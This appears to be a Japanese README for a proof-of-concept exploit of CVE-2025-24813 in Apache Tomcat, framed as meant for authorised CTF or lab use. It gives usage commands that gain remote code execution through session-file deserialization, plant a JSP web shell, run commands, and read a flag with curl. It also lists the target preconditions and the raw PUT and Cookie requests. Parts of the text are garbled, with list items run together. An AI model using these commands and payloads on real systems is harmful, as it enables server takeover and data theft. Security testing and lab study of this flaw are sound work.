認可されたCTF/ラボ環境向けのPoCです。CVE-2025-24813を、Tomcatセッションファイルへの部分的なPUT書き込みを介して悪用し、JSESSIONIDでデシリアライゼーションをトリガーします。
requestsjavaとjavac)commons-collections-3.2.1.jarysoserialは不要です。
poc_cve_2025_24813.py: 生成、アップロード、トリガーを自動化するPythonラッパー。GenerateTomcatSessionPayload.java: ガジェットを含む有効なTomcatセッションを生成します。CommonsCollectionscommons-collections-3.2.1.jar: ガジェットの依存関係。sh.jsp: --drop-shellでデプロイされるオプションのJSPシェル。デフォルトのWebルート/opt/tomcat/webapps/ROOTにJSPシェルを配置します:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
シェルを配置せずに直接コマンドを実行する場合:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Webルートが異なる場合:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
JARを移動した場合は、そのパスを指定します:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
--drop-shellが成功した場合:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServletが書き込み可能(典型的にはreadonly=false)。PersistentManagerとFileStoreによる永続セッション。commons-collections)。アップロード時に期待される動作は、多くの場合HTTP 409 Conflictです:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
その後、以下でデシリアライゼーションがトリガーされます:
Cookie: JSESSIONID=.<session-id>